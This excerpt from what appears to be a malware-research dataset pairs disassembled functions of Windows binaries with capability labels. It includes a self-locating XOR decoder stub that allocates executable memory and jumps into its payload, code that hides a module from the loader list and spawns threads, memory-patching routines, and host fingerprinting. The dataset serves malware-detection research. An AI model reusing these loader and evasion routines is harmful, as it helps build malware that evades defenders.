joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10021f50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b751
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10080eb4]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10089844]
cmp eax, dword [ecx + 0xc]
jle 0x10021fe5
push 0x10089844
call fcn.10057e0b
add esp, 4
cmp dword [0x10089844], 0xffffffff
jne 0x10021fe5
mov dword [ebp - 4], 0
mov ecx, dword [0x1008639c]
mov eax, dword [0x10082724]
add eax, 0x148
push eax
mov edx, dword [ecx]
call dword [edx + 4]
add eax, 4
mov dword [ebp - 4], 0xffffffff
push 0x10089844
mov dword [0x100897f8], eax
call fcn.10057dc1
add esp, 4
mov ecx, dword [0x1008639c]
mov eax, dword [0x10082724]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x10022074
cmp dword [0x10087e1c], 0
je 0x10022074
mov eax, dword [0x10082724]
mov ecx, dword [eax + 0x298]
mov eax, dword [0x10087268]
mov ecx, dword [eax + ecx]
call fcn.10015770
mov esi, eax
test esi, esi
je 0x10022074
mov ecx, dword [0x1008639c]
push 0x1008766c
mov edx, dword [ecx]
call dword [edx + 4]
test eax, eax
je 0x10022074
mov edx, dword [0x10086958]
add edx, eax
cmp edx, eax
jbe 0x10022074
mov ecx, esi
call edx
test eax, eax
jle 0x10022074
mov edi, dword [0x100897f8]
cmp edi, 0x1000
jbe 0x100220a5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3a8312a2
jmp 0x10022099
mov edi, dword [0x100897f8]
cmp edi, 0x1000
jbe 0x100220a5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3e19999a
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret
Function at 0x100220c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x1008639c]
mov eax, dword [0x10082724]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x1008639c]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x10082724]
je 0x1002212a
add eax, 0x150
cmp dword [0x10086fd4], 0
push eax
je 0x10022130
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002215d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10022151
add eax, 0x150
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002215d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10057a19
mov esp, ebp
pop ebp
ret

Function at 0x10022750
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x10082100], 0
jne 0x100227b3
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x10073888]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x10022783
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x10022766
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x10082100], 1
mov dword [0x10087710], eax
add eax, 0x18
mov dword [0x10086a78], eax
mov esp, ebp
pop ebp
ret
Function at 0x10025760
Capabilities:
Get hostname

Disassembly:
push 0x10080058
push 0x100870c4
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.10025670
cmp eax, 1
jne 0x1002578c
push str.Win_XP
push 0x10082ad0
call fcn.10005790
add esp, 8
call fcn.10025670
cmp eax, 2
jne 0x100257a8
push str.Win_Vista
push 0x10082ad0
call fcn.10005790
add esp, 8
call fcn.10025670
cmp eax, 3
jne 0x100257c4
push str.Win_7
push 0x10082ad0
call fcn.10005790
add esp, 8
call fcn.10025670
cmp eax, 4
jne 0x100257e0
push str.Win_8
push 0x10082ad0
call fcn.10005790
add esp, 8
call fcn.10025670
cmp eax, 5
jne 0x100257fc
push str.Wi_10
push 0x10082ad0
call fcn.10005790
add esp, 8
ret
Function at 0x10028140
Capabilities:
Get disk information

Disassembly:
push esi
push 0x64
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
push 0xff
push 0x10086800
push 0x1008637c
push 0x10082850
push 0x100860f4
push 0xff
push 0x10082388
push 0x100739b0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x100860f4]
mov eax, ecx
shl eax, 5
add eax, ecx
push eax
imul eax, ecx, 0x19
push eax
push str._2x_2x
push esi
call fcn.10005790
add esp, 0x10
mov eax, esi
pop esi
ret
Function at 0x1004a600
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x1004a69e
cmp esi, 0x1000
jbe 0x1004a67a
cmp edi, 0x1000
jbe 0x1004a67a
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10013400
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1004a70a
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10013400
add esp, 4
cmp esi, 0x1000
jbe 0x1004a70d
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1004a70a
cmp esi, 0x1000
jbe 0x1004a6e8
cmp edi, 0x1000
jbe 0x1004a6e8
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10013400
add esp, 4
jmp 0x1004a702
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10013400
add esp, 4
cmp esi, 0x1000
jbe 0x1004a70d
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x1004a724
cmp al, 0x6a
je 0x1004a724
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1004a620
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10057a19
mov esp, ebp
pop ebp
ret
Function at 0x1004b380
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x1004b482
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x1004b407
cmp ecx, edi
jne 0x1004b3fe
mov edx, dword [eax + 4]
test edx, edx
je 0x1004b3cc
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x1004b3cc
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x1004b3d8
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x1004b3e5
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x1004b3fe
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x1004b3fe
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x1004b3b1
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10035c40
push 0
push 0
call esi
push 0
push 0
push 0
push 0x1004aa90
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.10057a19
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1004ba30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x1004ba5c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x1004ba7e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x1004ba80
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x1004bb05
jg 0x1004ba95
test esi, esi
je 0x1004bb05
test ecx, ecx
jl 0x1004bae8
jg 0x1004ba9f
test eax, eax
je 0x1004bae8
cmp edi, ecx
jg 0x1004bab3
jl 0x1004baa9
cmp esi, eax
jae 0x1004bab3
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x1004bb05
jg 0x1004baeb
test esi, esi
je 0x1004bb05
jmp 0x1004baeb
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x1004bb05
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1004bb20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x1004bb4c
jl 0x1004bb40
test esi, esi
jne 0x1004bb4c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x1004bb65
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov dword [ebp - 4], esi
mov edx, dword [eax]
test edx, edx
je 0x1004bba5
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x1004bba5
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 8], esi
add esp, 0xc
mov dword [ebp - 4], edi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
je 0x1004bc5c
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x1004bbd0
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov edx, eax
mov ecx, dword [ebp - 8]
cmp eax, 0xfff
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov dword [ebp - 4], edx
jbe 0x1004bc1f
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 8]
sub edi, eax
add ecx, eax
mov dword [ebp - 4], edi
add esp, 0x10
mov dword [ebp - 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x1004bc49
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x1004bbf0
cmp dword [ebp - 4], 0
jbe 0x1004bc5f
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, dword [ebp - 4]
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
mov eax, esi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp - 4]
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1004bfd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x1004c000
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x1004c030
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x1004c030
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1004c105
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x1004c059
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1004c065
movsx eax, bl
jmp 0x1004c09c
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x1004c105
cmp eax, 1
jle 0x1004c0c6
cmp eax, 3
jne 0x1004c105
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1004c0e4
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1004c105
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1004c105
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10057a19
mov esp, ebp
pop ebp
ret 4
Function at 0x10052af0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x10052bac
cmp byte [esi + 0x3d], 0
je 0x10052bac
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x10052b9a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10052b61
sub eax, 1
je 0x10052b65
sub eax, 2
jne 0x10052b9a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10052b83
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10052b9a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.10057a19
mov esp, ebp
pop ebp
ret
Function at 0x100577b0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10062d3d
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1008000c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.10057650
cmp byte [ebp - 0x84], 0
jne 0x10057901
xor edx, edx
lea ecx, [ebp - 0x3f]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x18], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x17], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x16], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x15], al
add edx, 4
cmp edx, 8
jb 0x10057845
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x100806e0
call fcn.10057650
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.10057650
xor edx, edx
lea ecx, [ebp - 0x37]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x28], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x27], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x26], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x25], al
add edx, 4
cmp edx, 0x10
jb 0x100578b4
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.10057700
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10057943
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10057939
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10057939
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.10058340
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10057a19
mov esp, ebp
pop ebp
ret
Function at 0x402f0f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x408010]
jne 0x404450
repz ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x409368], eax
mov dword [0x409364], ecx
mov dword [0x409360], edx
mov dword [0x40935c], ebx
mov dword [0x409358], esi
mov dword [0x409354], edi
mov word [0x409380], ss
mov word [0x409374], cs
mov word [0x409350], ds
mov word [0x40934c], es
mov word [0x409348], fs
mov word [0x409344], gs
pushfd
pop dword [0x409378]
mov eax, dword [ebp]
mov dword [0x40936c], eax
mov eax, dword [ebp + 4]
mov dword [0x409370], eax
lea eax, [ebp + 8]
mov dword [0x40937c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x4092b8], 0x10001
mov eax, dword [0x409370]
mov dword [0x40926c], eax
mov dword [0x409260], 0xc0000409
mov dword [0x409264], 1
mov eax, dword [0x408010]
mov dword [ebp - 0x328], eax
mov eax, dword [0x408014]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x4092b0], eax
push 1
call fcn.00406093
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x401d80
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x4092b0], 0
jne 0x40453c
push 1
call fcn.00406093
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x4039a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x4039af
pop dword [ebp - 0x38]
mov eax, 0x4039af
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xe3855492
sub dword [ebp - 0x48], 0x95330f47
mov dword [ebp - 0x44], 0x9719b93e
sub dword [ebp - 0x44], 0x64e66cf9
mov dword [ebp - 0x40], 0xa716af17
sub dword [ebp - 0x40], 0x5aca6ae9
mov dword [ebp - 0x3c], 0x377c85c3
sub dword [ebp - 0x3c], 0x377c85c3
lea eax, [ebp - 0x48]
push eax
mov eax, 0xe8809fe6
sub eax, 0xe8408fca
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x2ce938ae
add dword [ebp - 0x48], 0x478930a8
mov dword [ebp - 0x44], 0x30bba951
sub dword [ebp - 0x44], 0xef4f47dc
mov dword [ebp - 0x40], 0x7b65e4be
add dword [ebp - 0x40], 0xe80987ae
mov dword [ebp - 0x3c], 0x5fb5ed16
add dword [ebp - 0x3c], 0xa04a12ea
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x893c2360
sub eax, 0x88fc133c
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x38a45
push 0
call eax
mov ecx, 0x9d748721
add ecx, 0x628bc3fb
xor esi, esi
add esi, eax
mov edi, 0x1ccdd388
add edi, 0xe3756478
add edi, dword [ebp - 0x38]
mov ebx, 0xed02453
add ebx, 0x5f0e509d
add dword [ebp - 8], ebx
mov edx, dword [edi]
sub dword [ebp - 0x2c], 0x68e7c38d
xor edx, ebx
xor dword [ebp - 0x30], 0x598c8d21
mov dword [esi], edx
xor dword [ebp - 0x28], ecx
add esi, 0x49ffc1b4
sub esi, 0x49ffc1b0
add edi, 0x648c0501
sub edi, 0x648c04fd
loop 0x403ace
add eax, 0x4be710b1
add eax, 0xb41a0e92
mov ebx, eax
add eax, 5
mov ecx, 0x14046c67
add ecx, 0xec3b9399
add ecx, dword [ebp - 0x38]
call ebx
leave
ret